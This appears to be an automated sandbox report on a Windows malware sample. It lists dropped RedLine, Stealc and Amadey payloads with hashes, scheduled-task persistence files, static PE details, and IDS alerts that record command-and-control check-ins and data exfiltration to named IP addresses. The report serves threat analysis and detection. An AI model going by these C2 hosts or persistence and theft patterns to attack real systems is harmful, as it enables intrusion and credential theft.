C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.637430068327733
Encrypted:	false
SSDEEP:	48:S7SjQDUmryN9toD/ulxSNEkhEeuSGwOI5w4mcoAY+3W7mvmB:ASUDqN7Iulxm+2GwOIe4mMYTZ
MD5:	376B4BF663DBF9AB815CC247405DA626
SHA1:	1C8CED46B0737FD44D88E27C0257B03B6217A842
SHA-256:	A9EF063C4F2BD7312AD9AFB62C7B90E023B543A5D95001D9C2CDB096E2439943
SHA-512:	29D78E6E420598C7589D9667B3E17E2CDD4279DBC87FEF670C9B04A4F8596FD7AABB881BA98094DF00E4E6F726F092038F8A6E826DF5634E49171A469598FA3A
Malicious:	false
Preview:	........'...............P...............{41744BE4-11C5-494C-A213-BA0CE944938E}.....................RSA1..................v..XU~l2_.......vj....b.... ..&...X.Y...=q...).....`.1.0..~......5DL. ..S>.......<..y...?YOA.... eb.QD..B..<.!..'J..+.'...4fu.z./....]@.y.b...o...).j'......0}B.j..R..-..2.....'=...@....s....;. .v=..;...\$...G....2S....al.ZQ.Q...w...aXzW.....................z..O......#.u.V..J.-].#.(....,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... .......U.@P..g<.o..K.e%..0E.+9..\.............. ........{H+.0bz....~N/=..o..F...P...;r\|...$.(E.V.(:.q.F.b...`.7+..$..\|.N.{..Z..T...-K........}..+l>..";.L.-.T..............w. .D...b+..@o.)$.g.L.l...u.......g.d......S.M..l'..h...[...a;.wC.'..&....&....d....7.P....a..b......a..%. yW....7.T....W........95.*.uY.......o..;..r.c..=.t.0.0..wn..x;..9......Q..%<..1.....4..Q..FD...@..`.e@....$.\|8...6a......].G\|..{.......(.D..6~.....L....&....P\|...........Q5A..f...S.....@...y!.EU.n...SG......

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\876839fa433a5db637fbfc481f0e8c50_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\e5b7c7ff24796fe5cddb308f57cb644a_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	5.082543579488037
Encrypted:	false
SSDEEP:	3072:Oq6EgY6iYrUj1Np/wPG/2hIUrTA7tMSiy1cZqf7D34teqiOLibBOQ:1qY6i3wPtIUrTAxMY1cZqf7DIXL
MD5:	4E60F3FD76D9EAB244F9DC00F7765B0B
SHA1:	1A154D6E837E7105C551793131CDE89F157C4330
SHA-256:	D6945846CC23C01B9C9AD2B97D35B5A14C01F1A4CC2EC651A596F06777BA4FEC
SHA-512:	44727E25781F448579AC35AAB94AFF550ED9FE5AC58D95BD394569C62892DC78216AC687BAA43CEF66187EBE629F5DD9CD63EA274222D11DBEF3440EC4D7F77A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... ................0................. ... ....@.. ....................... ............@.....................................O.... ..............................h................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Ylrdnrwcx.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	986112
Entropy (8bit):	7.987134427472388
Encrypted:	false
SSDEEP:	24576:6MGVJ/Oap+Bh45LEwaV1QghDHm5GQTSmGg:6NJ/jpi5waVhjm5GQ2m7
MD5:	1EF39C8BC5799AA381FE093A1F2D532A
SHA1:	57EABB02A7C43C9682988227DD470734CC75EDB2
SHA-256:	0CCED5B50789FCA3AD4B2C151B798363D712DA04C377BD704DCEF4898E66B2B4
SHA-512:	13A9C267C4CEB2BD176F1339FAA035FFEB08936DEEEB4E38252EA43CFE487EA1C1876E4CC2A965548E767AF02805A1DA62885E6538DA056BE0C6FAE33B637682
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...'1.f.............................!... ...@....@.. ....................................`.................................(!..W....@..`....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................d!......H.......P....G...........U.............................................."..(.......>..(.....oV...&.s..........0..........(.........(....o....3.(....-..j~....%..(....~....o.......j@8...(......s.......o........&..o ...s!.........o".....,...i-....,...o#....($.....o%...o&...o#........(....(......(..........c.o'.......o'........c.o'.......c.o'.......o'........c.o'........c.o'........c.o'....o(......j....+)....o)...nX.....bX.....da.....o*......X......3....bX.....da.....bX....!.

C:\Users\user\AppData\Roaming\esFzLrEqPw.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364544
Entropy (8bit):	6.656062545289343
Encrypted:	false
SSDEEP:	6144:PJdHU1vR3RO5NSdLcHUPnAGrV1GdauIgmxmbsWeSI9ifLW3:PJS1vRhOfX0PA61Gig0mQY
MD5:	A3EF9920A91B891837705E46BB26DE17
SHA1:	9CFBCD0F46EC86FB57D3D6D74A064F9098ADF117
SHA-256:	171CEF885F6C285E995CE3EC5960C5EA4E4ED049CEC362745058FEE39E4136CC
SHA-512:	C65E91091B95C3ABA0AF7DF4ED6543D26BCB5B54D6FAB82F9D2AC1BA156F475F98124A1A0E8851D69BE23B1DC945C76C075CD32515203273260802E1224DBD6E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....#.f..........................................@..........................P............@.....................................x................................J...................................................................................text...~........................... ..`.rdata...).......*..................@..@.data............b..................@....reloc...J.......L...D..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\Hkbsse.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4415568612453735
Encrypted:	false
SSDEEP:	6:jHKyZXXUhXUEZ+lX1E5WEetE9+AQy0lbKlEt0:GyZ4Q1m9+nVyEt0
MD5:	EC8C322FF7CC66BCBB4836559AFF8C42
SHA1:	072BEEE8570C6222B943CA2C35D999DDC2402B51
SHA-256:	D8688AE789B44DD88047841C34A5D3564BA4819627399CECB2F19C0EBC86E33B
SHA-512:	B3994C31A3EA16637E0E2F1D35319EA5EE8C9DE797F2D4FF6153CA4ADFF2A90C5B729DBA2B093CAD9EB780AAA4C44096BA9D73C28551E9D63539183CA2D289FD
Malicious:	false
Preview:	....=f.....E.(....q.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.5.4.f.d.c.5.f.7.0.\.H.k.b.s.s.e...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	3.444293573657739
Encrypted:	false
SSDEEP:	6:lQ+Pvj/XlXUEZ+lX1lOJUPelkDdtE9+AQy0lbxct0:lbb1Q1lOmeeDs9+nVlct0
MD5:	12F520F7BF81458B58FB374B6CB1EEF3
SHA1:	B50E7D557A09C347FD53864740C883D29679CFE8
SHA-256:	8A0FBBD1ABFA2FDE696DCC26810E65B61DE060194846BA2E36C38BC8CA439CCC
SHA-512:	05DDBAEA06EDD8ED72BB3261BDECBF8BADAB60D4B7CB1E6DBD727AA6C4C1394637B2F89F2682611A8F1C4618E234622D3512919F2956E7982965D6C8CE41ABAF
Malicious:	false
Preview:	.......C.jK...6c..>F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	2.5600289361122233
Encrypted:	false
SSDEEP:	3:oWEMo6vvRya:oWEpKvD
MD5:	198AA7622D86723F12D39AA38A10C97F
SHA1:	B3FE9A9637FAF01EFCFCB92AB288F7C91CE87F63
SHA-256:	88866B26B5F228DBEF268709E063E29F5BD89C114921148BEAA92FC2EACD2E2D
SHA-512:	8452029C020F524303144260D478F8F15E2AD5A4BB3F65DB06B62DEA568FAD165949A0FFDE119D7F5C4CA58E87AF660C35CCD54CE78D82BDEB01F6E84E3ED5BA
Malicious:	false
Preview:	012340..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951425847033669
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'940'480 bytes
MD5:	b8fc8a5801e3c0172a199430c7dba1d6
SHA1:	2a53f4961410bea07de2259fd7875b30ae6a7856
SHA256:	c438ad0f0d3f595677bfd83cfbab377224cdcc7275f7954639c113e767e8ddf5
SHA512:	b6a2e23babec64712408dbf0e1a9ce5720a4aff14c6de3e90a756c00ec97d01f394a18608de1cb2a90f87ce6c6fa8b4829ca57f77b8c110462b65af10e9ba3ec
SSDEEP:	49152:Pfxsg8rRSzxCa2w6G/fSrvYMSdkhNebdu:HxaVo0w6oKbYXdkhuc
TLSH:	48953315C2021974FA2F70B37B9FC3997EAA2CA1C59A71141A89C13654E77E233ADF1C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8cf000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F99D118136Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4ccf10	0x10	tutljgzd
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4ccec0	0x18	tutljgzd
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	91ad209f60cab3525d099b7e9700d482	False	0.9970729734332425	data	7.97957201146314	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	15b446a647085f3673671870d9e1a800	False	0.580078125	data	4.450176302770216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ba000	0x200	9810a208f222604e1e1fcaf64d63e40c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tutljgzd	0x325000	0x1a9000	0x1a8200	d7fbd8cd3cf0e29f30988aba8cc41b51	False	0.994399084512231	data	7.954503942992439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nhtewlaz	0x4ce000	0x1000	0x400	69b5c6b99ff5d02a2533f714ed6448dc	False	0.73828125	data	5.870416607091538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4cf000	0x3000	0x2200	226b94d1ceb0fce7f80cfecc6c5a13ae	False	0.09271599264705882	DOS executable (COM)	1.0992469655595567	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4ccf20	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T16:18:05.880842+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49602	185.215.113.16	80	TCP
2024-09-27T16:18:06.935409+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49603	185.215.113.117	80	TCP
2024-09-27T16:18:08.171128+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.6	49602	TCP
2024-09-27T16:18:08.894778+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49604	185.215.113.16	80	TCP
2024-09-27T16:18:09.535452+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49605	194.116.215.195	80	TCP
2024-09-27T16:18:11.732430+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49607	185.215.113.16	80	TCP
2024-09-27T16:18:12.524994+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49609	185.215.113.26	80	TCP
2024-09-27T16:18:14.960083+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:14.960083+0200	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:15.162678+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	65.21.18.51	45580	192.168.2.6	49610	TCP
2024-09-27T16:18:15.676138+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49611	185.215.113.16	80	TCP
2024-09-27T16:18:15.895132+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49611	185.215.113.16	80	TCP
2024-09-27T16:18:17.923439+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49614	185.215.113.16	80	TCP
2024-09-27T16:18:18.625357+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49615	185.215.113.117	80	TCP
2024-09-27T16:18:19.065609+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:19.291483+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:19.297668+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.17	80	192.168.2.6	49613	TCP
2024-09-27T16:18:19.517973+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:19.527685+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.17	80	192.168.2.6	49613	TCP
2024-09-27T16:18:20.369995+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:20.389340+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:20.728088+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	65.21.18.51	45580	192.168.2.6	49610	TCP
2024-09-27T16:18:20.942391+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:20.955759+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:21.163431+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:21.725602+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:22.054185+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:22.293227+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:22.506862+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:23.750111+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:24.193148+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:24.200427+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:24.840132+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49616	185.215.113.16	80	TCP
2024-09-27T16:18:24.846631+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:25.180209+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:25.250146+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49616	185.215.113.16	80	TCP
2024-09-27T16:18:25.419064+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:27.105619+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:27.727924+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.054519+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.092900+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49617	185.215.113.16	80	TCP
2024-09-27T16:18:28.182258+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:28.260470+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.476868+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.714786+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.900818+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49620	185.215.113.117	80	TCP
2024-09-27T16:18:29.343988+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:30.196956+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:30.272540+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:30.476425+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:30.679491+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:31.126477+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49622	185.215.113.16	80	TCP
2024-09-27T16:18:31.188159+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:31.870600+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49623	185.215.113.117	80	TCP
2024-09-27T16:18:32.120846+0200	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	185.215.113.117	80	192.168.2.6	49623	TCP
2024-09-27T16:18:32.739071+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:33.250736+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:33.250736+0200	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:33.449026+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	89.105.223.196	29862	192.168.2.6	49624	TCP
2024-09-27T16:18:33.557177+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:34.139141+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49626	185.215.113.16	80	TCP
2024-09-27T16:18:34.360369+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49626	185.215.113.16	80	TCP
2024-09-27T16:18:37.710879+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49629	185.215.113.16	80	TCP
2024-09-27T16:18:37.740262+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:37.740262+0200	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:37.947985+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49629	185.215.113.16	80	TCP
2024-09-27T16:18:37.965539+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	185.215.113.67	15206	192.168.2.6	49630	TCP
2024-09-27T16:18:38.510970+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.6	49624	89.105.223.196	29862	TCP
